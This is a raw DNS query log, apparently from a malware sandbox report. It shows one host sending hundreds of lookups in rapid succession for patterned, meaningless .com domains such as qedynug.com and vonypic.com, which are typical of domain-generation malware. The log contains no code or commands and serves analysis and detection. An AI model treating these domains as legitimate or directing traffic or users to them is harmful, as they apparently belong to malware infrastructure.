                                                                                                                                                                                                          Nov 11, 2024 18:13:22.494199991 CET192.168.2.61.1.1.10x640fStandard query (0)qedynug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.494453907 CET192.168.2.61.1.1.10xa6dcStandard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.500756025 CET192.168.2.61.1.1.10x4ec8Standard query (0)lysynun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.501085997 CET192.168.2.61.1.1.10x29f4Standard query (0)vonypic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502243042 CET192.168.2.61.1.1.10xd4efStandard query (0)pufymiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502454042 CET192.168.2.61.1.1.10x97e9Standard query (0)lymysox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502543926 CET192.168.2.61.1.1.10xded0Standard query (0)pupybyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502717018 CET192.168.2.61.1.1.10x19bcStandard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.502875090 CET192.168.2.61.1.1.10x24cdStandard query (0)qexyluq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.503802061 CET192.168.2.61.1.1.10x8905Standard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.504542112 CET192.168.2.61.1.1.10x3508Standard query (0)pumypop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.506608009 CET192.168.2.61.1.1.10x95ecStandard query (0)pujyjol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.506881952 CET192.168.2.61.1.1.10x59cStandard query (0)qekykal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.508018970 CET192.168.2.61.1.1.10xc6cfStandard query (0)lykyjar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.508513927 CET192.168.2.61.1.1.10x7211Standard query (0)lyryfyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.511255026 CET192.168.2.61.1.1.10xa376Standard query (0)gacyzuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.511492968 CET192.168.2.61.1.1.10x8300Standard query (0)galykew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.529447079 CET192.168.2.61.1.1.10x6f07Standard query (0)vofyguc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.530822039 CET192.168.2.61.1.1.10xcd9cStandard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.531542063 CET192.168.2.61.1.1.10x9d0dStandard query (0)vowydet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.531739950 CET192.168.2.61.1.1.10xa917Standard query (0)vojyqac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532213926 CET192.168.2.61.1.1.10x5c43Standard query (0)lyvyxin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532491922 CET192.168.2.61.1.1.10x3696Standard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532759905 CET192.168.2.61.1.1.10xa880Standard query (0)lyryvaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.532938957 CET192.168.2.61.1.1.10x6275Standard query (0)gahyhiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.533329964 CET192.168.2.61.1.1.10x6e74Standard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.535325050 CET192.168.2.61.1.1.10xb36eStandard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541431904 CET192.168.2.61.1.1.10x753eStandard query (0)qetyveq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541654110 CET192.168.2.61.1.1.10xa485Standard query (0)gahyqas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.541842937 CET192.168.2.61.1.1.10x28cfStandard query (0)qebyxog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542002916 CET192.168.2.61.1.1.10xed81Standard query (0)vopybym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542151928 CET192.168.2.61.1.1.10x52e8Standard query (0)gatyfuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542531013 CET192.168.2.61.1.1.10x2cc8Standard query (0)lyvytud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542678118 CET192.168.2.61.1.1.10x401eStandard query (0)gatyveh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.542809963 CET192.168.2.61.1.1.10xacd7Standard query (0)vocyzum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.543843031 CET192.168.2.61.1.1.10xcc1fStandard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.543934107 CET192.168.2.61.1.1.10xacb7Standard query (0)pujywep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544044971 CET192.168.2.61.1.1.10x1adcStandard query (0)ganypis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544159889 CET192.168.2.61.1.1.10x4e84Standard query (0)qetyfyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544332027 CET192.168.2.61.1.1.10x4752Standard query (0)gadynub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544497013 CET192.168.2.61.1.1.10x58caStandard query (0)qedyfyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544527054 CET192.168.2.61.1.1.10xdab2Standard query (0)puvytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.544779062 CET192.168.2.61.1.1.10xeStandard query (0)purydel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545032978 CET192.168.2.61.1.1.10x3a91Standard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545213938 CET192.168.2.61.1.1.10xa7ceStandard query (0)lygymod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545368910 CET192.168.2.61.1.1.10x2336Standard query (0)volykek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545547009 CET192.168.2.61.1.1.10xa018Standard query (0)vofymif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.545830011 CET192.168.2.61.1.1.10xad3fStandard query (0)puzylyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.546058893 CET192.168.2.61.1.1.10xf8a4Standard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.546344042 CET192.168.2.61.1.1.10xc874Standard query (0)gaqydaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.548073053 CET192.168.2.61.1.1.10x7e9dStandard query (0)qegyqov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.562462091 CET192.168.2.61.1.1.10x9ab6Standard query (0)qeqysap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.581590891 CET192.168.2.61.1.1.10x3827Standard query (0)puvyxig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.586623907 CET192.168.2.61.1.1.10x8d3bStandard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:22.586875916 CET192.168.2.61.1.1.10xe2afStandard query (0)lyxylyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.331721067 CET192.168.2.61.1.1.10xef97Standard query (0)gahynuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.334357023 CET192.168.2.61.1.1.10xf7a1Standard query (0)vocykec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.335275888 CET192.168.2.61.1.1.10x7a1Standard query (0)qegynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.335540056 CET192.168.2.61.1.1.10xc45eStandard query (0)purypig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.337018967 CET192.168.2.61.1.1.10xccStandard query (0)lyryson.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.345980883 CET192.168.2.61.1.1.10xd908Standard query (0)gaqypuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.352008104 CET192.168.2.61.1.1.10x60b1Standard query (0)qexykav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.356985092 CET192.168.2.61.1.1.10xfceeStandard query (0)vowypim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.357126951 CET192.168.2.61.1.1.10xd5ccStandard query (0)lyxyjod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.357640982 CET192.168.2.61.1.1.10x5b80Standard query (0)vofybet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.367163897 CET192.168.2.61.1.1.10xc3e1Standard query (0)puzymup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.368726015 CET192.168.2.61.1.1.10x712eStandard query (0)vojymuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.368843079 CET192.168.2.61.1.1.10xee8Standard query (0)qetysog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.375878096 CET192.168.2.61.1.1.10x9203Standard query (0)qexyqip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.376265049 CET192.168.2.61.1.1.10x4727Standard query (0)qetyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.384516954 CET192.168.2.61.1.1.10xaa35Standard query (0)gahyfyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.389705896 CET192.168.2.61.1.1.10xfcd3Standard query (0)vocyqot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.398964882 CET192.168.2.61.1.1.10x2806Standard query (0)puvylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400415897 CET192.168.2.61.1.1.10x7820Standard query (0)gaqyzyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400742054 CET192.168.2.61.1.1.10x31d0Standard query (0)qebyrel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.400926113 CET192.168.2.61.1.1.10x92b7Standard query (0)ganyrew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.401094913 CET192.168.2.61.1.1.10xa150Standard query (0)lykygun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406253099 CET192.168.2.61.1.1.10x6f15Standard query (0)qeqytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406253099 CET192.168.2.61.1.1.10x151aStandard query (0)puzyjov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406503916 CET192.168.2.61.1.1.10x98fcStandard query (0)pupydev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406653881 CET192.168.2.61.1.1.10x3d2cStandard query (0)lyvylyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406697989 CET192.168.2.61.1.1.10x9e49Standard query (0)ganyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406723022 CET192.168.2.61.1.1.10xe76bStandard query (0)lymytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.406904936 CET192.168.2.61.1.1.10x30efStandard query (0)lygyfej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.459834099 CET192.168.2.61.1.1.10xb8f7Standard query (0)lykymij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.461818933 CET192.168.2.61.1.1.10xe63fStandard query (0)pujymiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.462519884 CET192.168.2.61.1.1.10x3545Standard query (0)vonyzut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.462861061 CET192.168.2.61.1.1.10xa6dfStandard query (0)gatydab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.463093996 CET192.168.2.61.1.1.10xf84eStandard query (0)lyvywar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.463407040 CET192.168.2.61.1.1.10x813Standard query (0)lyryxud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.465440989 CET192.168.2.61.1.1.10x65feStandard query (0)volyjif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.479721069 CET192.168.2.61.1.1.10xb49cStandard query (0)pumytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480014086 CET192.168.2.61.1.1.10x6379Standard query (0)qedyvap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480221987 CET192.168.2.61.1.1.10xc6ccStandard query (0)galyhib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480267048 CET192.168.2.61.1.1.10x1136Standard query (0)lysyvax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480458975 CET192.168.2.61.1.1.10x631bStandard query (0)gatycis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480643988 CET192.168.2.61.1.1.10x61d2Standard query (0)vopycoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480643988 CET192.168.2.61.1.1.10xcb31Standard query (0)puvywal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480664968 CET192.168.2.61.1.1.10x5a4eStandard query (0)puryxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480874062 CET192.168.2.61.1.1.10xe87bStandard query (0)vojygym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.480874062 CET192.168.2.61.1.1.10x1bedStandard query (0)pujygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481028080 CET192.168.2.61.1.1.10xb238Standard query (0)vowyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481081963 CET192.168.2.61.1.1.10x599eStandard query (0)qekyqoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481209040 CET192.168.2.61.1.1.10x3bddStandard query (0)lyxymix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481273890 CET192.168.2.61.1.1.10xffdfStandard query (0)gadyvez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481410980 CET192.168.2.61.1.1.10xf3edStandard query (0)pufybyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481456995 CET192.168.2.61.1.1.10xed86Standard query (0)qegyfeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481594086 CET192.168.2.61.1.1.10x41e0Standard query (0)qeqylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481681108 CET192.168.2.61.1.1.10x6fdbStandard query (0)vopydaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.481762886 CET192.168.2.61.1.1.10x32cStandard query (0)gacyqoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.485035896 CET192.168.2.61.1.1.10xba3cStandard query (0)vonyryk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.487504959 CET192.168.2.61.1.1.10x38d9Standard query (0)gacykas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.487771034 CET192.168.2.61.1.1.10x3facStandard query (0)pufydaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.487945080 CET192.168.2.61.1.1.10x972Standard query (0)pupycop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.489305973 CET192.168.2.61.1.1.10xeb10Standard query (0)qekyhug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.490190029 CET192.168.2.61.1.1.10xf097Standard query (0)vofydak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.491113901 CET192.168.2.61.1.1.10xf46fStandard query (0)gadydow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492417097 CET192.168.2.61.1.1.10x917bStandard query (0)qebylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.492417097 CET192.168.2.61.1.1.10x7c6dStandard query (0)lygynyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.993072987 CET192.168.2.61.1.1.10xc477Standard query (0)pupypil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.995398998 CET192.168.2.61.1.1.10x1838Standard query (0)lykynyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.996541977 CET192.168.2.61.1.1.10xcfbStandard query (0)qedysol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.996728897 CET192.168.2.61.1.1.10x9e19Standard query (0)ganykah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.997545004 CET192.168.2.61.1.1.10x8898Standard query (0)qekynyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.001290083 CET192.168.2.61.1.1.10x1664Standard query (0)gadycih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.019299984 CET192.168.2.61.1.1.10x4a4fStandard query (0)lysysir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.019475937 CET192.168.2.61.1.1.10xd3b9Standard query (0)lymylen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.019608021 CET192.168.2.61.1.1.10xfb5aStandard query (0)vofycim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.031068087 CET192.168.2.61.1.1.10x88d1Standard query (0)puzygyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.031466007 CET192.168.2.61.1.1.10x7c4eStandard query (0)vonykam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.040940046 CET192.168.2.61.1.1.10x6cdcStandard query (0)lykyfax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.047615051 CET192.168.2.61.1.1.10x8f6fStandard query (0)vopyzyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.047782898 CET192.168.2.61.1.1.10xe200Standard query (0)ganyqib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.047957897 CET192.168.2.61.1.1.10x5d5Standard query (0)pupyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.048141003 CET192.168.2.61.1.1.10x4dedStandard query (0)lysyxuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.048532963 CET192.168.2.61.1.1.10x7bf2Standard query (0)vonyqof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.049130917 CET192.168.2.61.1.1.10xcf93Standard query (0)galyfez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.049990892 CET192.168.2.61.1.1.10x636fStandard query (0)qekyfep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.053244114 CET192.168.2.61.1.1.10xf3ccStandard query (0)qedyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.053286076 CET192.168.2.61.1.1.10x9827Standard query (0)pumywov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.053908110 CET192.168.2.61.1.1.10x146aStandard query (0)purytyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.054091930 CET192.168.2.61.1.1.10xb8f2Standard query (0)qexynyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.055166960 CET192.168.2.61.1.1.10x5715Standard query (0)qebyqig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065259933 CET192.168.2.61.1.1.10x916cStandard query (0)gaqyres.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065427065 CET192.168.2.61.1.1.10x5265Standard query (0)vowyrec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065562963 CET192.168.2.61.1.1.10xe7f8Standard query (0)lyxygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065689087 CET192.168.2.61.1.1.10x106aStandard query (0)gacyhuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.069307089 CET192.168.2.61.1.1.10xcbccStandard query (0)lygyvon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.069528103 CET192.168.2.61.1.1.10x72b8Standard query (0)qegyvag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.070024014 CET192.168.2.61.1.1.10xd22fStandard query (0)lymywad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.070595980 CET192.168.2.61.1.1.10x1aefStandard query (0)gahyvab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.070928097 CET192.168.2.61.1.1.10x686eStandard query (0)pujydap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071105003 CET192.168.2.61.1.1.10x79d5Standard query (0)gatyzyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071130991 CET192.168.2.61.1.1.10xb50fStandard query (0)puvyjiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071434975 CET192.168.2.61.1.1.10xab9cStandard query (0)qetytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071600914 CET192.168.2.61.1.1.10x89e3Standard query (0)volygyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071619987 CET192.168.2.61.1.1.10x32d4Standard query (0)pumyleg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071773052 CET192.168.2.61.1.1.10xce3eStandard query (0)vojydoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071963072 CET192.168.2.61.1.1.10x6c03Standard query (0)lyvymun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072037935 CET192.168.2.61.1.1.10xab1aStandard query (0)gahydos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072139025 CET192.168.2.61.1.1.10xc741Standard query (0)lyryler.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072237968 CET192.168.2.61.1.1.10xc9faStandard query (0)vocymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072560072 CET192.168.2.61.1.1.10x89d3Standard query (0)purylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077066898 CET192.168.2.61.1.1.10xb3a5Standard query (0)qegysiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077099085 CET192.168.2.61.1.1.10x574cStandard query (0)gacynyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077290058 CET192.168.2.61.1.1.10x9dcbStandard query (0)vowykat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077455044 CET192.168.2.61.1.1.10x386cStandard query (0)qebykoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.078195095 CET192.168.2.61.1.1.10x67daStandard query (0)qeqyrav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.091228962 CET192.168.2.61.1.1.10x5a01Standard query (0)puvymug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.092242956 CET192.168.2.61.1.1.10xe919Standard query (0)vopyput.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.093276978 CET192.168.2.61.1.1.10x6589Standard query (0)gatypuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.094023943 CET192.168.2.61.1.1.10xadbfStandard query (0)vojybef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.094507933 CET192.168.2.61.1.1.10x506bStandard query (0)pufypuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.094858885 CET192.168.2.61.1.1.10xa6bbStandard query (0)qexyhul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.095326900 CET192.168.2.61.1.1.10x2f74Standard query (0)pufycog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.095732927 CET192.168.2.61.1.1.10x2030Standard query (0)lyvyjoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.096141100 CET192.168.2.61.1.1.10x927Standard query (0)vocyjik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.096286058 CET192.168.2.61.1.1.10xa6cfStandard query (0)volymuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.097125053 CET192.168.2.61.1.1.10xfa75Standard query (0)galynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.122879028 CET192.168.2.61.1.1.10xefbStandard query (0)lyrytyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.123552084 CET192.168.2.61.1.1.10xaa7Standard query (0)qetylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.124219894 CET192.168.2.61.1.1.10xe371Standard query (0)lygysid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.124783039 CET192.168.2.61.1.1.10x55a3Standard query (0)pujybev.comA (IP address)IN (0x0001)false
